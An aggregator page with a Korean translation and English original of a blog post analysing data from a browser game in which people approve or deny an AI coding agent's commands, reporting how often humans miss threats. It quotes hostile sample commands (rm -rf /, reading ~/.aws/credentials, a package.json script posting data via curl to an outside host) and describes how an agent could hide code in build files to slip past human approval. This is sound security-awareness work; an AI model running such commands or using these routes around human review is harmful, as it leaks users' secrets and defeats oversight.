메뉴
HN
Hacker News • 50일 전

AI 에이전트 명령어 검토 실험: 인간의 3분의 1이 위협을 놓쳐

IMP
8/10
핵심 요약

AI 코딩 에이전트가 실행을 요청하는 명령어를 인간이 검토하는 '휴먼 인 더 루프(Human-in-the-loop)' 환경의 취약성을 4만 건의 게임 데이터로 분석한 결과입니다. 시간 압박 속에서 검토를 진행한 평균 사용자의 3분의 1 가까이가 데이터 탈취 등 심각한 보안 위협 명령어를 승인하는 것으로 나타났습니다. 특히 친숙한 명령어 뒤에 숨겨진 악성 스크립트를 검토할 때 검출률이 급격히 떨어지며, 시스템 보안의 마지막 방어선인 인간의 검토 과정이 생각보다 취약하다는 것을 시사합니다.

번역된 본문

목차

몇 달 전, 저는 간단한 브라우저 게임을 출시했습니다. 이 게임에서 플레이어는 AI 코딩 에이전트(AI coding agent)의 '휴먼 인 더 루프(인간 감시자)' 역할을 맡아, 시간 압박 속에서 에이전트가 요청하는 명령어를 승인하거나 거절하게 됩니다. 일부 명령어는 일상적인 작업(git status, npm test)이지만, 다른 명령어들은 에이전트가 악성코드에 감염되어 사용자의 기밀 정보를 원격 서버로 전송하고 있음을 의미합니다(cat ~/.aws/credentials). 에이전트가 실행하는 명령어와 관련된 위협 및 이를 완화하는 방법에 대한 자세한 내용은 이전 포스팅에서 확인할 수 있습니다.

이 게임은 해커 뉴스(Hacker News)에서 어느 정도 관심을 끌었고, 이후 통계 기능을 추가하여 40,000번이 넘는 게임 플레이와 409,000건 이상의 개별 승인/거절 결정 데이터를 자세히 분석할 수 있게 되었습니다. 이제 악성 에이전트에 대한 우리의 마지막 방어선인 '휴먼 인 더 루프'가 얼마나 제 역할을 했는지 살펴보겠습니다.

주요 수치

  • 평균적으로 플레이어는 3번 중 1번꼴로 위협을 놓쳤습니다. (평균 정확도 66.3%)
  • 32.9%의 세션에서 마이너스 점수로 끝났습니다. 즉, 위협 명령어를 승인하거나 안전한 명령어를 차단하여 받은 페널티가 제대로 처리한 모든 점수보다 컸습니다.
  • 35.2%의 플레이어가 모든 위협을 적발했지만, 그중 안전한 명령어를 5개당 최대 1개까지만 차단하며 이를 달성한 사람은 20.8%에 불과했습니다. 나머지는 모든 것을 무조건 차단('휴먼 병목 현상' 칭호 획득)하여 이를 달성했습니다.
  • 7%의 플레이어는 모든 프롬프트를 승인했습니다. 이들은 '--dangerously-skip-permissions(위험한 권한 건너뛰기)' 옵션의 열렬한 팬들입니다.

참고로 이 게임에서 플레이어가 보는 명령어의 약 34%는 위협이었습니다. 실제 업무 환경에서는 이러한 위협이 아주 드물게 나타납니다. 또한 플레이어들은 제한 시간 내에 테스트를 받고 있다는 사실을 인지하고 있었습니다. 하지만 아래의 수치는 여러 위협들을 서로 비교하고 이에 대한 전반적인 인식 수준을 파악하는 데 유용한 통찰을 제공할 수 있습니다.

위협 카테고리 및 탐지 실패율

  • 명백한 파괴 명령어 (예: rm -rf /, chmod -R 777 /): 탐지 실패율 11.7%
  • 지속적인 변조 (예: 크론탭(crontab) 인젝션, 깃(git) 설정 탈취): 탐지 실패율 23.8%
  • 데이터 유출 / 코드 실행 (예: 알 수 없는 API로 curl 요청, 오타를 악용한 패키지): 탐지 실패율 33.4%
  • 권한 범위 위반 (예: cat ~/.aws/credentials, cat ~/.kube/config): 탐지 실패율 35.0%

노골적으로 시스템을 파괴하는 명령어는 가장 확실하게 적발됩니다. 반면, 실제로 자격 증명(크레덴셜)을 탈취하는 명령어는 3배 더 자주 탐지되지 않고 지나갑니다.

npm run에 대한 사각지대

게임에서 단연 가장 많이 승인되어 위협을 놓친 명령어는 'npm run analyze'로, 64.7%의 확률로 승인되었습니다. 이 명령어 자체는 대개 무해해 보입니다. 하지만 'npm run'이 실제로 하는 일은 프로젝트의 package.json에 정의된 스크립트를 실행하는 것입니다. 이는 번들 분석기를 실행하는 무해한 코드일 수도 있지만, 이전에 파일에 기록해둔 악성코드일 수도 있습니다.

이 게임은 에이전트의 기록 로그를 통해 해당 스크립트가 실제로 무엇을 포함하고 있는지 알려줍니다: 1 ✻ 번들 분석기를 실행하겠습니다. 프로젝트 스크립트에 이미 설정되어 있습니다. 2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @-"

그럼에도 불구하고 3분의 2의 플레이어가 이를 승인했습니다. 이는 권한 승인 프롬프트 바로 위에 있는 기록 로그를 자세히 읽지 않았음을 시사합니다.

이와 같은 유형의 명령어가 게임에 3개 있으며, 모두 가장 많이 놓친 위협 목록에 올라 있습니다:

  • npm run analyze (탐지 실패율 64.7%, 37개 위협 중 1위)
  • npm run setup (탐지 실패율 48.0%, 4위)
  • npm run deploy (탐지 실패율 44.9%, 8위)

이 세 가지를 합산하면 탐지 실패율은 52.5%(데이터 수: 9,482건)로, 다른 데이터 유출 공격의 실패율(28.4%)에 비해 매우 높았습니다. 익숙한 스크립트 이름 뒤에 악성 페이로드를 숨기면, 기록 로그에 페이로드가 명시되어 있더라도 공격 성공률이 대략 두 배로 높아집니다.

이는 더 큰 문제를 보여주는 증상에 불과합니다. 해커 뉴스 스레드에서 dns_snek가 아주 잘 지적했듯이 말이죠:

위험한 행동이 무해한 것으로 인식되는 것이 얼마나 위험한지 보여주는 훌륭한 예시입니다. 특정 명령어를 승인하는 전체 시스템 모델 자체가 완전히 말도 안 됩니다. npm run build = package.json에 작성된 임의의 셸 명령어(shell command)를 실행하는 것과 같습니다. 그러는 동안 에이전트는 승인 없이 다음과 같은 행동을 할 수도 있었습니다.

  • package.json을 수정하여 임의의 빌드 명령어를 삽입
  • build.js(npm run build로 호출됨)에 악성코드 심기
  • node_modules/xyz/index.js에 악성코드 심기
원문 보기
원문 보기 (영어)
Table of Contents A couple of months ago I published a small browser game : you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine ( git status , npm test ) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server ( cat ~/.aws/credentials ). More on the threats associated with agents running commands and how to mitigate them can be found in the original post . The game garnered some interest on hacker news , and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared. The headline numbers The average player missed 1 in 3 threats (mean accuracy 66.3%) 32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right 35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title) 7% approved every single prompt: big fans of --dangerously-skip-permissions Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another. Threat categories and miss rates Category Examples Miss rate Obvious destructive rm -rf / , chmod -R 777 / 11.7% Persistent mutation crontab injection, git config hijack 23.8% Exfiltration / code execution curl to unknown APIs, typosquatted packages 33.4% Scope violations cat ~/.aws/credentials , cat ~/.kube/config 35.0% The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often. The npm run blind spot The single most-missed command in the game is npm run analyze , approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json . It could be benign code such as running a bundle analyzer, or injected code that was written to file before. The game does tell you in the agent’s history log what that script actually contains: 1 ✻ I'll run the bundle analyzer — it's already set up in the project scripts. 2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @-" Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely. There are three of these in the game, and they appear in the most-missed list: Command Miss rate Rank (of 37 threats) npm run analyze 64.7% 1st npm run setup 48.0% 4th npm run deploy 44.9% 8th Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log. Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread : That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers. npm run build = run an arbitrary shell command written in package.json Meanwhile the agent could have done any of the following without approval: edited package.json to contain any arbitrary build command planted malicious code in build.js (called by npm run build ) planted malicious code in node_modules/xyz/index.js (imported by build.js ) Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard. Miss rates increase under pressure Anthropic previously noted permission fatigue is real in claude code, with the following quote: The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs: The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty. I’ve removed all the users who simply blocked everything. Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in. The cost of vigilance: over-blocking The following commands were benign in intent, but routinely blocked: npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror) rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build) kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process) This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof as mentioned in the previous post . The contested cat cat ~/.zshrc was approved by 45.9% of players, the most divisive command in the game. The objection (raised on HN) is fair: plenty of developers keep no secrets in their shell profile, so for them it is harmless. For the many who export API keys there, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. If you source a separate secrets file from your .zshrc instead, the risk of your agent getting more access is reduced. The takeaway I’ve enjoyed following the discussions on the human-in-the-loop, and learning more on permission models along the way. While it’s just a game, I find it does demonstrate several issues with humans-in-the-loop as safeguard for AI coding agents. The high amount of noise introduces fatigue, and developers don’t always have the context of what has changed to quickly determine the risk. For developers, we need to be very familiar with the trade-offs of different permissions models and how to reduce the risks involved such as applying sandboxing and separating credentials and env var secrets. The original post covers some of these practical mitigations. If you want to try your luck at the game, you can find it here: https://llmgame.scalex.dev Alex Wauters Hi - I'm Alex. I write about developer security and the tradeoffs of building and scaling software systems. Ex-Staff Engineer at Uber. More posts Subscribe by email LinkedIn RSS ← Previous Suffering from Agent Permission Fatigue? Find out your high score Table of Contents